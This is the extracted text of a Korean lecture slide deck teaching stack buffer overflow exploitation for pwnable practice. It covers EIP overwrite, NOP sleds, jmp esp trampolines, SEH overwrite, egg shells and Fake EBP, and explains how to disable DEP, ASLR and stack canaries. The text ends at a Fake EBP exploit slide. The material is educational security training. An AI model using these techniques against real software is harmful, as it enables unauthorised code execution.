SlideShare a Scribd company logo
1 of 187
PWNABLE BASIC #3 다양한 Exploit – Stack BOF
목차
• 다양한 Exploit – Stack BOF
• Direct EIP Overwrite
• 실습 – Windows
• 실습 – Linux
• NOP sled
• 실습 – Linux
• 응용
• Trampoline Technique
• 개념
• 실습 – Windows
• mona를 이용하여 코드조각 찾기
• SEH Overwrite (Windows)
• 개념
• 실습 – Windows
• Egg shell
• 개념
• 실습 – Linux – 환경변수 이용하기
• 실습 – Linux – 1
• 실습 – Linux – 2
• Fake EBP
• 개념
• 실습 – Linux
• Saved Frame pointer Overwrite
• 개념
• 실습 – Linux
• RET sled
• 개념
• 실습 – Linux
• Return To Library(RTL)
• 실습 – Linux
• 실습 – Windows
• RTL chain
• 개념
• 실습 – Linux
• 실습 – Windows
• RET2PLT (Linux)
• 개념
• 실습 – Linux
• RET2DL (Linux)
• GOT Overwrite
• 실습 - Linux
• Return Oriented Programming (ROP)
• 실습 – Linux – 1
• 실습 – Linux – 2
• 실습 – Linux – 3
• 실습 – Windows – 1
• 실습 – Windows – 2
• Omega project (Linux)
• 부록
• 참고 사이트
DIRECT EIP OVERWRITE • 실습 – Windows
• 실습 – Linux
DIRECT EIP OVERWRITE
• 지금까지 예제로 들던, 가장 기초적인 버퍼 오버플로우
• 스택에 저장된 함수의 Return 주소를 바꿈
• 스택에 저장한 셸 코드의 주소로 가서, 셸 코드 실행
• Direct Ret 라고도 함
• DEP(Data Execution Prevention)과 ASLR(Address Space Layer Randomization), 스택 가드(버퍼 보안 검사) 방어기법이 해제되
어 있어야 함
방어기술
Direct EIP
DIRECT EIP OVERWRITE – 실습 – WINDOWS
• 취약한 프로그램
• 비주얼 스튜디오에서 모든 방어와 최적화를 해제한다.
DIRECT EIP OVERWRITE – 실습 – WINDOWS
• 스택 구조
• EBP 백업
• SUB ESP, 0xC8 (십진수로 200)
• scanf 에 들어가는 주소 (입력 시작 주소): EBP – 0xC8
• 이 주소는 0x0019FE78
• Return address의 시작 주소 : EBP + 0x4
• ->(EBP + 0x4) - (EBP – 0xC8) = 0xCC
• 0xCC바이트 만큼의 쓰레기 값 또는 셸 코드 입력 후 4바이트 크기의 주소(Return address) 입력
• Return address는 셸 코드의 주소
....
EBP backup
Return address
EBP
EBP - C8
EBP + 4
EBP - C4
EBP - C0
EBP - BC
EBP - 14
EBP - 10
EBP - C
EBP - 8
EBP - 4
.
.
.
EBP - B8
EBP - B4
EBP - B0
DIRECT EIP OVERWRITE – 실습 – WINDOWS
• 이용할 셸 코드
• WinExec 함수를 이용하여 cmd를 실행하고, ExitProcess 함수를 호출하는 코드
• NULL 문자를 없앤 버전이며, Universal 셸 코드 아님
• 함수 주소를 구해 이용했음
DIRECT EIP OVERWRITE – 실습 – WINDOWS
• Exploit
• scanf에 넣는 버퍼의 시작 주소부터 셸 코드를 넣음
• Return address의 위치까지 가기 위해 쓰레기 값을 넣음
• 파이썬 코드에서, 위쪽 쓰레기 값으로는 A를, EBP backup 자리에는 B를 넣어 보았음 (구분을 위해)
...셸코드...
...쓰레기값...
EBP backup
Return address
EBP
EBP - C8
EBP + 4
EBP - C4
EBP - 14
EBP - 10
EBP - C
EBP - 8
EBP - 4
.
.
.
EBP - 84
EBP - 80
.
.
.
DIRECT EIP OVERWRITE – 실습 – WINDOWS
• 성공
• 가장 간단한 형태의 Stack BOF Exploit
• 단순히 return address를 조작하여, 스택에 입력해 둔 셸 코드를 실행하도록 한다.
• 단점 : 방어 기법이 해제된 상태에 가능.
• ASLR, DEP, SG 우회 불가
DIRECT EIP OVERWRITE – 실습 – LINUX
• 취약한 프로그램
• 주소를 출력하는 코드도 추가했음
DIRECT EIP OVERWRITE – 실습 – LINUX
• 취약한 프로그램
• 컴파일 시 모든 방어와 최적화를 해제한다.
• -fno-stack-protector : SG 해제 (ssp 보호기법 끄기)
• -z execstack : 스택에 실행권한 주기 (DEP 해제)
• -mpreferred-stack-boundary=2 : 더미 없애기
• 2 : 32bit, 4 : 64bit
• ASLR 해제
• 최근 나온 리눅스는 기본적으로 ASLR이 켜 져 있다.
• OS 설정으로 바꿔야 함
• sudo su 명령어로 root계정으로 전환
• /proc/sys/kernel/randomize_va_space 에 0을 씀
• 0일 때 : ASLR 해제
• 1일 때 : 랜덤 스택&랜덤 라이브러리 설정
• 2일 때 : 랜덤 스택&랜덤 라이브러리&랜덤 힙 설
정
DIRECT EIP OVERWRITE – 실습 – LINUX
• 스택 구조
• EBP 백업
• SUB ESP, 0xC8 (십진수로 200)
• scanf 에 들어가는 주소 (입력 시작 주소): EBP – 0xC8
• 이 주소는 0xFFFFCC00 (gdb와 일반 실행 시 다를 수 있음, 또한 다른 터미널에서 실행 시 다를 수 있음)
• 프로그램을 일반적으로 실행했을 시 나오는 주소를 이용할 것
• Return address의 시작 주소 : EBP + 0x4
• ->(EBP + 0x4) - (EBP – 0xC8) = 0xCC
• 0xCC바이트 만큼의 쓰레기 값 또는 셸 코드 입력 후 4바이트 크기의 주소(Return address) 입력
• Return address는 셸 코드의 주소
....
EBP backup
Return address
EBP
EBP - C8
EBP + 4
EBP - C4
EBP - C0
EBP - BC
EBP - 14
EBP - 10
EBP - C
EBP - 8
EBP - 4
.
.
.
EBP - B8
EBP - B4
EBP - B0
DIRECT EIP OVERWRITE – 실습 – LINUX
• 이용할 셸 코드
• /bin/sh를 exec하는 코드
• NULL 문자를 없앤 버전
• scanf는 NULL을 입력해도 끊기지는 않는 듯
• 오히려 n나 다른 제어문자들을 조심해야 함
• 하지만 다른 취약한 문자열 관련 함수들이 null을 이용하기 때문에
null을 없애는 것이 좋음
DIRECT EIP OVERWRITE – 실습 – LINUX
• Exploit
• scanf에 넣는 버퍼의 시작 주소부터 셸 코드를 넣음
• Return address의 위치까지 가기 위해 쓰레기 값을 넣음
• 파이썬 코드에서, 위쪽 쓰레기 값으로는 A를, EBP backup 자리에는 B를 넣어 보았음 (구분을 위해)
...셸코드...
...쓰레기값...
EBP backup
Return address
EBP
EBP - C8
EBP + 4
EBP - C4
EBP - 14
EBP - 10
EBP - C
EBP - 8
EBP - 4
.
.
.
EBP - 84
EBP - 80
.
.
.
DIRECT EIP OVERWRITE – 실습 – LINUX
• 성공
• 파이썬 출력 값을 파일로 저장, cat을 이용하여 전달
• cat 의 맨 뒤 –는 stdin을 의미한다. 키보드에서 입력한 stdin을 계속 전달하도록 함
• exploit 되어 실행된 sh에 명령어를 전달하기 위한 용도
• myExploit이 먼저 cat의 입력 값으로 들어가 ./a.out에 들어가고, 그 다음 cat – 가 실행되어 키보드에 입력한 값을 전달
• 부록의 참고사이트를 반드시 확인할 것!
• 또는 (python ex.py; cat; ) | ./a.out과 같은 형태로도 가능
• 명령어를 여러 개 차례대로 실행할 때
NOP SLED • 실습 – Linux
• 응용
NOP SLED
• Stack BOF 뿐만 아니라 모든 셸 코드에 적용 가능
• 우회 기술이라 하긴 부족하고, 그냥 일반적인 테크닉임
• 쓰레기 값 대신 nop 명령어를 넣는다
• 기계어로 0x90에 해당
• 주소를 정확히 예측해야 한다는 부담을 덜 수 있음
• 셸 코드 위쪽에 nop들을 넣고, 대충 nop이 있을 만한 주소로 가도록 하면 nop들을 미끄러져 내려와 셸 코드에 도달
• nop과 셸 코드를 반복적으로 뿌려 놓고 주소를 대충 찍는 등 여기저기 응용되어 쓰임
• 앞으로 쓰레기 값(더미 값)들은 nop이나 nop과 같이 의미 없는 코드들(mov eax, eax 등) 로 채운다고 생각
• 주의
• 보안 장비들이 많은 nop들 (0x90)을 감지하여 악성코드를 탐지하기도 함
• -> 다른 의미 없는 코드로도 같은 효과를 낼 수 있으므로, 반드시 nop을 고집할 필요는 없다.
NOP SLED – 실습 – LINUX
• 리눅스의 경우, ASLR을 꺼도 스택의 주소가 바뀌는 경우가 있음
• 인자나 몇 가지 환경에 따라 바뀌는 것 같음
• nop sled 을 넣은 코드로 여러 번 시도 -> 예측이 맞았을 때만 Exploit 성공!
• 셸 코드의 중간부터 시작하거나, nop sled도 셸 코드 시작도 아닌 곳의 주소일 경우 실패
• (약간의 노가다 성질이 있음)
• 위에서 쓴 예제 그대로, 익스플로잇만 수정
• 겸사겸사 주소에 있던 null도 없애 봄
NOP SLED – 실습 – LINUX
• Exploit
• 앞에서 넣었던 쓰레기 값 대신 nop을 넣었음 ...nop...
셸 코드
...nop...
EBP backup
Return address
EBP
EBP - C8
EBP + 4
EBP - C4
EBP - 48
EBP - 44
EBP - 4
.
.
.
EBP - 64
EBP - 80
.
.
.
.
.
.
NOP SLED – 실습 – LINUX
• Exploit
• ret 코드를 통해 nop 코드가 있는 주소로 가게 됨
• nop을 타고 미끄러져 내려와 셸 코드를 실행
...nop...
셸 코드
...nop...
EBP backup
Return address
EBP
EBP - C8
EBP + 4
EBP - C4
EBP - 48
EBP - 44
EBP - 4
.
.
.
EBP - 64
EBP - 80
.
.
.
.
.
.
NOP SLED 응용
...nop...
jmp 셸 코드 (상대주소 이용)
셸 코드
jmp 셸 코드 (상대주소 이용)
...nop...
jmp 셸 코드 (상대주소 이용)
EBP backup
Return address
...nop...
셸 코드
셸 코드
셸 코드
EBP backup
Return address
• Nop sled 사이사이에 핵심
셸 코드로 점프하는 셸
코드를 넣어 셸 코드
신뢰도 높이기
• 똑같은 셸 코드들을
흩뿌려서 신뢰도 높이기
TRAMPOLINE TECHNIQUE • 개념
• 실습 – Windows
• 앞서 이용한 Direct EIP는 정확한, 또는 적어도 유사한 주소를 알아야 사용할 수 있다
• ASLR 방어기법이 적용되었다면 성공 가능성이 거의 없다.
• Address Space Layout Randomization, 주소가 랜덤하게 변경됨
• 이와 같은 ASLR을 우회하기 위한 방법으로 고안된 것이 trampoline technique
• 약간의 결점이 있는 우회 방법임
• Windows의 경우, ASLR 적용 설정을 한 모듈만 ASLR이 적용된다.
• 사용하는 DLL 중 어떤 DLL은 고정 주소를 갖고, 어떤 DLL은 ASLR을 적용하는 경우가 생길 수 있다. 이 때, 고정주소를 갖는 모듈(DLL이나 EXE 등)의 주소를 이용할 수 있다.
• 단, 이미 그 주소에 다른 모듈이 올라와 있다면 재배치될 수도 있다는 점에 주의
• Linux의 경우, OS의 설정에 의해 ASLR이 적용된다.
• 스택의 Return address에 직접 셸 코드의 주소를 써 넣는 것이 아니라, “JMP 레지스터” 코드가 있는 주소를 적어 동적으로 버퍼 주소로 이동하도록 하는 기법
• ASLR이 적용되지 않은 모듈에서 JMP 레지스터 코드를 찾는다. Stack BOF를 이용해 return address에 해당 코드의 주소를 적는다.
ASLR
TRAMPOLINE TECHNIQUE 개념
방어기술
Trampoline
TRAMPOLINE TECHNIQUE 개념
push ebp
mov ebp, esp
sub esp, 0xC8
...코드...
mov esp, ebp
pop ebp
ret
[일반적인 함수]
ESP
...더미 데이터...
EBP backup
Return address
...셸 코드...
EBP
EBP - C8
EBP + 4
EBP - C4
.
.
.
.
.
.
EBP + 8
EBP + C
<ret 실행 전 스택>
...더미 데이터...
EBP backup
Return address
...셸 코드...
EBP
.
.
.
<스택 BOF 후 스택>
mov esp, ebp / pop ebp
코드 실행
TRAMPOLINE TECHNIQUE 개념
ESP
<ret 실행 전 스택>
...더미 데이터...
EBP backup
0xXXXXXXXX (주소)
...셸 코드...
EBP
.
.
.
ESP
<ret 실행 후 스택>
...더미 데이터...
EBP backup
0xXXXXXXXX (주소)
...셸 코드...
EBP
.
.
.
ret
코드 실행
push ebp
mov ebp, esp
sub esp, 0xC8
...코드...
mov esp, ebp
pop ebp
ret
[일반적인 함수]
EIP는 주소 0xXXXXXXXX에 있는
jmp esp 코드로 이동
TRAMPOLINE TECHNIQUE 개념
ESP 와 EIP
<ret과 jmp esp 실행 후 스택>
...더미 데이터...
EBP backup
Return address
...셸 코드...
EBP
.
.
.
높은 주소
jmp esp
코드 실행
ESP
<ret 실행 후 스택>
...더미 데이터...
EBP backup
0xXXXXXXXX (주소)
...셸 코드...
EBP
.
.
.
TRAMPOLINE TECHNIQUE 개념
• 반드시 jmp esp 코드일 필요는 없음
• 특정 레지스터에 스택 주소가 저장되어 있다면, 그리고 그 위치에 stack BOF를 이용하여 원하는 값을 넣을 수 있다면 가능
• 예를 들어, ECX 레지스터에 지역 변수의 주소(스택 주소)가 들어 있고, 그 지역 변수에 저장된 값을 stack BOF를 이용해 조
작할 수 있다면 가능
• 이 경우 jmp ecx 코드의 주소를 찾아 넣어야 함
• 핵심
• 1. 조작 가능한 스택의 주소를 갖는 레지스터를 찾는다.
• 2. ASLR이 적용되지 않은 코드에서, 그 레지스터에 저장된 값을 이용하여 점프하는 코드를 찾는다.
• 3. return address에 해당 코드 주소를 적는다.
TRAMPOLINE TECHNIQUE – 실습 – WINDOWS
• jmp esp 코드를 찾아 봄
• 명령어 검색으로 jmp esp를 찾아도 되고, 기계어 FF E4를 찾아도 됨
• 실제 코드가 jmp esp로 코딩된 게 아니라, 어떤 주소나 값 등이 우연히 FF E4여도 됨
• Executable하고 ASLR이 적용되지 않은 영역에만 있으면 됨
• (원래는 직접 이용하는 ASLR이 적용되지 않은 모듈을 찾고, 그 중 원하는 패턴을 찾아야 하지만, ASLR이 적용되지 않은 모듈을 찾기 어려워
서, 그냥 ASLR이 적용된 주소를 찾음. 껐다 키면 다른 주소가 될 것임.)
• 주소 0x7414D24B에 FEE4 패턴이 있다는 것을 알아냈다.
TRAMPOLINE TECHNIQUE – 실습 – WINDOWS
• Exploit
• return address 이전의 데이터에는 쓰레기 값을 넣음
• return address에는 구한 주소를 넣음
• return address 뒤에는 셸 코드를 넣었음
• (껐다 켜서 하드 코딩한 함수 주소가 좀 바뀌었음..)
...더미 데이터...
EBP backup
Return address
...셸 코드...
EBP
EBP - C8
EBP + 4
EBP - C4
.
.
.
.
.
.
EBP + 8
EBP + C
TRAMPOLINE TECHNIQUE – MONA를 이용하여 코드조각 찾기
• 적절한 모듈을 찾기 위해 툴을 이용할 수 있다
• Immunity Debugger의 mona를 이용
• !mona jmp –r esp
• 사용하는 모듈의 코드영역 전체에서 jmp esp 코드를 찾는다.
• 바이너리 일부에 있는 xffxe4를 찾기엔 부족
• !mona find –s “xffxe4”
• !mona config –set workingfolder C:myfolder%p
• 결과를 출력할 폴더 경로를 설정
• %p에는 현재 디버깅중인 프로그램 이름이 자동으로 들어 감
SEH OVERWRITE (WINDOWS) • 개념
• 실습 – Windows
Stack
Guard
SEH OVERWRITE (WINDOWS) 개념
• Stack guard(SG), Stack shield(SS), Stack cookie, canary, 보안검사 등 여러가지 이름으로 불리는 방어기법을 우회하기 위한 방
법
• Stack guard : 스택에 Canary라고 불리는, 랜덤한 데이터를 저장해 둔다. ret하기 전에 넣어둔 Canary가 변조됐는지 확인한다. 변조됐다면 공격을 감지하고
에러 메시지를 출력한다.
• SEH overwrite는 Canary와 Return address를 넘어, 등록해 둔 SEH 데이터를 변형시켜 예외 핸들러와 Next SEH Record 포인터
를 바꾸는 공격방식이다.
• Next SEH Record에는 셸 코드로 점프하는 코드를, 예외 핸들러는 POP POP RET 코드가 있는 주소를 써 준다.
• 이 상태로 예외를 발생시키면, POP POP RET 코드가 실행되고, RET 코드를 통해 Next SEH Record의 주소에 있는 점프 코드를 실행한다. 점프 코드를 실행
하면 셸 코드에 도달한다.
ASLR
방어기술
SEH
overwrite
SEH OVERWRITE (WINDOWS) 개념
pop
pop
ret
예외 발생
코드 진행을 멈추고, SEH 실행
=> Canary 체크 코드를 실행하기 전,
다른 코드를 실행할 기회를 얻음
jmp 셸 코드
Stack guard를 우회하여
셸 코드 실행 성공!
• SEH 실행 시 ESP + 8의 위치에는
현재 실행중인 SEH를 등록하기
위해 쓴 구조체 주소가 있음
• =다음 SEH를 가리키는 변수의
주소가 있음
• ret으로 ESP+8에 주소가 적혀
있는 위치로 이동
• 스택이며 조작 가능한 곳
• 이 곳에는 셸 코드로 점프하는
코드를 적어 둘 것임
SEH OVERWRITE (WINDOWS) - 실습
• 이 기술을 방어하기 위한 기술인 safe SEH를 해제해야 한다.
SEH OVERWRITE (WINDOWS) – 실습
• Stack guard를 활성화한 뒤 컴파일 해 보자
• 특정 주소에서 데이터를 가져오고, EBP와 XOR 한 뒤, 그 값을 EBP-4에 저장한다.
• 스택을 정리하기 전에, EBP-4에 저장된 값을 불러온 뒤, EBP와 XOR하고,
__security_check_cookie 함수를 호출한다.
• -> EBP-4에 틀린 값이 들어있을 시 오류가 뜨고 프로그램이 중지됨
SEH OVERWRITE (WINDOWS) – 실습
• main함수 스택 확보 후, SEH chain에서 예외 처리기가 등록된 주소를 찾아본다.
• 가장 가까운 SEH는 EBP+30과 EBP+34에 저장되어 있다.
SEH OVERWRITE (WINDOWS) – 실습
• 코드를 변경하여 일부러 예외를 발생시켜 기존의 SEH에 따라 들어가보자
• 다음을 확인할 수 있다
• SEH에 들어가면, 기존 스택보다 훨씬 낮은 주소를 가진 스택을 이용
• ESP+8과 ESP+14 위치에는 다음 EXCEPTION_REGISTRATION 구조체의 주소를 저장하는, 포인터변수의 주소가 있다.
• (실행중인 예외 핸들러와 같은 구조체에 들어있는 변수)
• 즉, pop pop ret 코드를 핸들러의 주소로 설정하면, 스택의 포인터 변수 위치로 return하게 된다.
pop
pop
ret
SEH OVERWRITE (WINDOWS) – 실습
• pop pop ret 코드를 찾아봄
• (실제로 유의미한 공격을 위해서는) ASLR이 적용되지 않은 모듈에서 찾아야 함
• immunity debugger의 search 모듈을 이용하면 간단하게 찾아볼 수 있다.
• !search pop r32npop r32n ret
• r32는 아무 32비트 레지스터를 의미한다. n는 명령어를 구분하는 용도이다.
• safe SEH가 적용되지 않은 모듈의 주소를 이용해야 한다.
• 0x4012C5를 이용하기로 하자.
SEH OVERWRITE (WINDOWS) – 실습
• 스택 구조
• Canary를 넣느라 스택 크기가 4만큼 늘어난 0xCC가 됨
• scanf에 넣는 버퍼 주소는 EBP-CC
• SEH
• Next SEH pointer는 EBP+30에 위치
• SE Handler는 EBP+34에 위치
...
Canary
EBP backup
Return address
...
Next SEH
SE Handler
...
EBP
EBP - CC
EBP + 4
EBP - C8
.
.
.
.
.
EBP + 8
EBP + C
EBP - 4
EBP + 30
EBP + 34
.
.
SEH OVERWRITE (WINDOWS) – 실습
• Exploit
• 예외를 일으키기 위해 stack overflow를 낸다. (Reserve한 스택을 넘어서 쓰려고 하면 일어나는 예외)
...dummy...
Canary
EBP backup
Return address
...
Next SEH
SE Handler
...셸 코드...
...dummy...
Stack overflow!!!
EBP
EBP - CC
EBP + 4
EBP - C8
.
.
.
.
.
EBP + 8
EBP + C
EBP - 4
EBP + 30
EBP + 34
.
.
.
.
SEH OVERWRITE (WINDOWS) – 실습
...dummy...
Canary
EBP backup
Return address
...
Next SEH
SE Handler
...셸 코드...
...dummy...
Stack overflow!!!
EBP
EBP - CC
EBP + 4
EBP - C8
.
.
.
.
.
EBP + 8
EBP + C
EBP - 4
EBP + 30
EBP + 34
.
.
.
.
EGG SHELL
• 개념
• 실습 – Linux – 환경변수 이용하기
• 실습 – Linux – 1
• 실습 – Linux – 2
EGG SHELL 개념
• Egg shell은 환경변수를 이용하는 방식이다
• 환경변수에 셸 코드를 저장해 두고, return address에 환경변수의 주소를 넣음
• 정확히 말하자면 환경변수를 등록한 뒤 sh 프로그램을 실행(환경변수가 등록된 셸 프로그램이 실행 됨), 그 위에
서 exploit을 실행하는 기법이지만, 일반적으로 환경변수를 이용하여 exploit하는 경우 egg shell이라 한다.
• unix 계열의 환경변수는 포인터로 참조된다
• => 환경변수가 메모리 어딘가에 항상 저장되어 있다는 것 (정확히는 스택)
• 이러한 특성을 이용하여 공격에 이용
• 이용하는 경우
• 버퍼의 크기가 쉘 코드가 들어갈 만큼 넉넉하지 못 할 경우
• 환경변수에 원하는 만큼 저장할 수 있음
• 스택 주소를 이용하기 어려운 경우
• 환경변수는 보통 main 함수의 스택 프레임 앞쪽에 위치한다.
EGG SHELL 개념 – 환경변수란?
• 환경변수
• 프로세스가 컴퓨터에서 동작하는 방식에 영향을 미치는 동적인 값들의 모임
• 시스템의 환경 정보를 가지고 있는 변수
• 사용 예
• 아무 데서나 ls나 cd를 실행했을 때, 환경변수를 지정해 두지 않았다면 실행되지 않는다
• /bin/ls 와 같이 절대경로를 적어주어야 함
• PATH라는 이름을 가진 환경변수에 포함되어 있는 경로에서 ls 프로그램을 찾아 실행해 주는 것
• 절대경로를 지정하지 않아도 실행 가능
EGG SHELL 개념 – 환경변수란?
• 환경변수 설정
• 명령어를 이용
• 터미널에서 명령어를 이용하여 환경변수를 설정할 수 있다
• export 명령어 (bash에서 사용)
• export KEY="Value" 또는 export KET=Value (둘 다 같음)
• Ex) export myenv="/home/mydir"
• myenv 값에 /home/mydir 가 저장되게 된다.
• 이미 있는 환경변수에 export 설정을 할 경우 해당 값이 바뀐다
• 주의
• =사이를 띄우면 안 됨
• export 명령어를 통해 등록한 환경변수는 영구저장 되는 것이 아님. 해당 shell 에서만 사용 가능, 해당 shell을 종료하면 없어짐
• 환경변수 내용 확인
• echo $변수명
• UNIX는 환경변수를 사용할 때는 "$변수명" 형태로 사용한다
• set 명령어
• env 명령어
EGG SHELL 개념 – 환경변수란?
• 환경변수 설정
• 파일에 저장
• 환경변수를 영구적으로 등록하고 싶을 경우 적절한 파일에 저장해야 한다.
• 환경 변수는 크게 세 가지 관점으로 나눌 수 있다
• 로컬 환경 변수
• 현재 세션에서만 동작하는 환경변수
• 명령어로 export한 경우
• 사용자 환경 변수
• 특정 사용자에 대해서만 정의된 환경변수
• 로컬 터미널 세션 또는 원격 로그인 세션을 사용하여 로그인할 때마다 로드 됨
• 관련 파일 : .bashrc, .bash_profile, .bash_login, .profile
• 시스템 전체 환경 변수
• 해당 시스템에 존재하는 모든 사용자가 사용할 수 있는 환경변수
• 모든 사용자가 로컬 또는 원격으로 로그인할 때마다 로드 됨
• 관련 파일 : /etc/environment, /etc/profile, /etc/profile.d, /etc/bash.bashrc
 파일 차이점
 로드되는 시점에 따라 다름
 변수가 영구히 어딘가 있는 게 아니라, 매번 각 파일의 스크립트가 실행되어 export 명령이 실행되는 것. 원하는 타이밍에 자동으로 export 명령어를 실행하도록 등록해 두는 것
<.profile 파일에 적어 둔 환경변수 예>
EGG SHELL 개념 – 환경변수란?
• 환경변수 설정
 파일 차이점
 Login shell
 ID와 패스워드를 입력해서 shell을 실행하는 것
 SSH로 접속하거나 로컬에서 GUI를 통해 shell을 실행하는 것
 실행 절차
 /etc/profile 호출 -> /etc/profile.d 내 스크립트 호출 -> ~/.bash_profile 호출 -> ~/.bashrc 호출 -> /etc/bashrc 호출
 Non-Login shell
 로그인 없이 실행하는 shell
 ssh로 접속 후 다시 bash를 실행하는 경우나, GUI 세션에서 터미널을 띄우는 것도 해당
 실행 절차
 ~/.bashrc 호출 -> /etc/bashrc 호출 -> /etc/profile.d 내 스크립트 호출
EGG SHELL 개념 – 환경변수란?
• 환경변수 설정
• 코드 이용
• 함수를 호출하여 환경변수를 등록할 수 있다
• putenv()
• 환경변수 설정
• Ex)
• putenv("KEY=value");
• KEY 변수에 value값 설정
• getenv()
• 환경변수의 value가 저장된 포인터를 반환
• Ex)
• getenv("KEY");
• 위 putenv함수를 통해 설정했다 가정한다면, value라는 문자열이 저장된 주소를 return 한다
EGG SHELL – 실습 – LINUX – 환경변수 이용하기
• 메인 함수의 인자로 받은 환경변수 주소 배열의 포인터를 이용하여 환경변수에 접근하는 예제
• 스택 구조를 직접 확인해보기 위함 + 환경변수 사용법에 익숙해 지기 위함
EGG SHELL – 실습 – LINUX – 환경변수 이용하기
• 환경변수는 메인 함수 스택 프레임 앞쪽에 위치
• key=value 형태의 문자열이 저장되어 있다
• NULL문자로 구분
EBP backup
Return address
...
argc (int)
argv (char**)
envp (char**)
...
main함수 인자 배열
...
0x93 0xcf 0xff 0xff
...
환경변수 주소 배열
...
...
X
V _ G D
= R N T
C L 0 7
환경변수 값들
(key=value 형태)
...
0xffffccd0
.
.
0xffffccd4
0xffffccd8
0xffffcd64
0xffffcf94
.
.
0xffffcf90
0xffffcf98
0xffffcf9c
0xffffcd6c
.
.
EGG SHELL – 실습 – LINUX – 환경변수 이용하기
• 결론적으로 오른쪽과 같은 모습의 스택을 유지한다는 것을 알 수 있다.
• Egg shell에서는 환경변수에 셸 코드를 넣고, return address를 환경변수의 value가 시작하는 주소로 넣을 것
• 앞의 "key= " 부분을 주의
• 환경변수 주소에 영향을 끼치는 요소
• ASLR
• main함수 인자
• 프로그램 실행 시, ./a.out으로 실행하느냐 /home/a.out으로 실행하는가에 따라(경로) argv[0]의 값이 달
라지므로, 프로그램을 어떻게 실행했는지도 영향을 끼침
• 다른 환경변수들
• => ASLR은 그렇다 쳐도, 또 다른 영향을 끼치는 요소들이 있기 때문에 NOP sled를 넣는 것이 좋음
• (이것들은 또한 모든 스택 주소에 영향을 끼침 (상황에 따라 주소가 조금씩 밀리거나 당겨 짐))
....
EBP backup
Return address
...
argc (int)
argv (char**)
envp (char**)
...
...
main함수 인자 배열
...
...
환경변수 주소 배열
...
...
...
환경변수 값들
(key=value 형태)
...
...
EGG SHELL – 실습 – LINUX – 1
• 환경변수 등록
• 환경변수의 내용으로 셸 코드를 등록해 둔다.
• test라는 이름의 환경변수를 만들었음
• 그림의 명령어 예는 파이썬 출력 값을 등록하거나, 파일에 저장해둔 셸코드를 등록한 것
• env 명령어를 이용하여 잘 등록되었는지 확인
EGG SHELL – 실습 – LINUX – 1
• 취약 프로그램
• 귀찮으니까 환경변수 주소를 직접 뽑도록 한다
• 실제로는 디버깅이나 다른 프로그램을 이용하여 주소
를 뽑음
• (단, 디버거 이용 시 디버거만 이용하는 환경변수를
이용하는 경우가 있기 때문에 이를 고려해야 함)
• 환경변수를 만들고, value의 시작 주소를 얻어오는 프
로그램을 따로 만들어도 되지만, 정확한 주소를 얻기
위해서는 프로그램 이름(경로)의 길이를 똑같이 하는
편이 좋다.
• NOP sled 잘 활용할 것
EGG SHELL – 실습 – LINUX – 1
• Exploit
• 파이썬 Exploit 코드
• return address에 환경변수 주소를 넣음
EGG SHELL – 실습 – LINUX – 2
• Egg shell 기법을 정확히 적용해 보자
• 환경변수에 셸 코드를 등록하고, 셸을 실행하여 환경변수를 포함하는 셸 위에서 작업한다
getenv(myenv)함수를
호출해 환경변수 주소
알아내기 (프로그램
이름 길이 등에 주의)
eggshell 위에서
프로그램을 실행,
환경변수 주소를
이용하여 Exploit!
FAKE EBP • 개념
• 실습 – Linux
FAKE EBP
• RET 이후로 덮어쓸 수 없을 때
• 자리가 없거나 상황상 제한이 있는 경우
• buffer + SFP(stack frame pointer) + RET 만 건드릴 수 있는 상황에서 시도해볼 만한 방법
• RET 자리에 스택이나 라이브러리 함수 주소를 필터링 했을 때
• 주소 맨 앞자리만 체크해서 필터링 하는 등의 경우
• return address로 스택이나 라이브러리 함수 주소를 이용할 수 없는 경우
• EBP를 속이는 기법
• EBP에는 셸 코드 주소 – 4에 해당하는 주소를 넣는다
• return address에는 LEAVE/RET 패턴의 주소를 넣는다
• 셸 코드의 맨 앞부분에는 셸 코드의 주소를 넣는다
• LEAVE 명령어는 MOV ESP, EBP / POP EBP 명령어가 합쳐진 것
• ->LEAVE 대신 MOV ESP, EBP/POP EBP/RET 패턴을 찾아도 됨 (함수 에필로그의 패턴)
FAKE EBP
...더미 데이터...
EBP backup
Return address
...
셸 코드 주소
...셸 코드...
EBP와 ESP
ESP
<pop 실행 전 스택>
push ebp
mov ebp, esp
sub esp, 0xC8
...코드...
mov esp, ebp
pop ebp
ret
[일반적인 함수]
pop 코드 실행
EBP는
셸 코드 주소 – 4
를 가리키게 됨
EBP
<pop 실행 후 스택>
...더미 데이터...
EBP backup
Return address
...
셸 코드 주소
...셸 코드...
FAKE EBP
ESP
<pop 실행 후 스택>
push ebp
mov ebp, esp
sub esp, 0xC8
...코드...
mov esp, ebp
pop ebp
ret
[일반적인 함수]
ret 코드 실행
EIP는 주소 0xXXXXXXXX에 있는
leave/ret 코드로 이동 EBP
<ret 실행 후 스택>
ESP
EBP
...더미 데이터...
EBP backup
Return address
...
셸 코드 주소
...셸 코드...
...더미 데이터...
EBP backup
Return address
...
셸 코드 주소
...셸 코드...
FAKE EBP
ESP
leave
ret
[leave/ret 코드]
leave 코드
실행
mov esp, ebp
pop ebp 가 함축된 코드
-> esp는 ebp+4 를 가리키게 되고,
ebp는 어딘가로 떠내려 간다.
esp가 가리키는 위치에는 셸
코드의 시작 부분에 적어 둔 셸
코드 주소가 있음
EBP
<ret 실행 후 스택>
ESP
EBP
<leave 실행 후 스택>
...더미 데이터...
EBP backup
Return address
...
셸 코드 주소
...셸 코드...
...더미 데이터...
EBP backup
Return address
...
셸 코드 주소
...셸 코드...
FAKE EBP
leave
ret
[leave/ret 코드]
ret 코드 실행
pop eip
jmp eip 가 함축된 코드
eip가 셸 코드의 위치를
가리키게 되고, 셸 코드를
실행한다.
EBP
<ret 실행 후 스택>
...더미 데이터...
EBP backup
Return address
...
셸 코드 주소
...셸 코드...
ESP
EBP
<leave 실행 후 스택>
...더미 데이터...
EBP backup
Return address
...
셸 코드 주소
...셸 코드...
EIP, ESP
FAKE EBP – 실습 – LINUX
• 환경변수에 셸 코드를 저장해 둔다.
• 맨 앞에는 셸 코드의 주소를 넣을 것이므로, 일단 4바이트의 더미를 넣음
• 환경변수의 주소를 구한 다음 다시 더미에 주소를 넣는다
• 환경변수 시작 주소 + 4 위치부터 셸 코드가 들어갈 것
• ->환경변수 시작주소 +4 를 맨 앞에 저장
FAKE EBP – 실습 – LINUX
• leave/ret 패턴을 찾는다
• 또는 mov esp, ebp/pop ebp/ret 패턴도 됨
• objdump와 grep을 이용하여 이에 해당하는 패턴을 찾음
• 0x080484a1에서 원하는 코드 조각을 찾았음
FAKE EBP – 실습 – LINUX
• Exploit
